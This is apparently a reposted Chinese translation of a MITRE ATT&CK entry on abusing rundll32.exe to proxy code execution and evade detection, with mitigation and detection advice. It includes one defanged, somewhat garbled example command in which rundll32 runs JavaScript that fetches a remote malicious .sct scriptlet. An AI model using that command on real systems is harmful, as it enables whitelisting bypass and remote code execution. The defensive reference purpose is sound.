ATT&CK -

admin 2024年4月15日01:26:26评论3 views字数 688阅读2分17秒阅读模式

Rundll32

可以调用 rundll32.exe 程序来执行任意二进制文件。由于 Windows 使用 rundll32.exe 进行正常操作时会有白名单或误报,攻击者可以利用此功能来代理代码的执行,以避免触发可能未监控 rundll32.exe 进程执行的安全工具的检测。­
Rundll32.exe 可通过未记录的 shell32.dll 的
Control_RunDLLControl_RunDLLAsUser
函数来执行控制面板项文件(.CPL)。双击。cpl 文件也可以执行 rundll32.exe。Rundll32 也可用于执行 JavaScript 等脚本。这可以使用类似的语法来完成:rundll32.exe javascript: " ..,RunHTMLApplication ";document.write();GetObject("script:https[:]/www[.]example[.] . com malicious.sct
")"在恶意软件(例如 Poweliks)中已有这种行为。

缓解

Microsoft 增强型缓解体验工具包 (EMET) 的攻击面减少 (Attack Surface Reduction,ASR) 功能可以用来阻止利用 rundll32.exe 绕过白名单的方法。

检测

使用进程监控来监控 rundll32.exe 的执行和参数。
将 rundll32.exe 最近调用与之前的已知良好参数和被加载的 dll 进行比较,以确定异常和潜在的攻击活动。
rundll32.exe 调用中使用的命令参数也可能有助于确定加载 DLL 的来源和目的。

- 译者: 林妙倩、戴亦仑 . source:cve.scap.org.cn

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月15日01:26:26
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ATT&CK -http://cn-sec.com/archives/2658032.html

发表评论

匿名网友 填写信息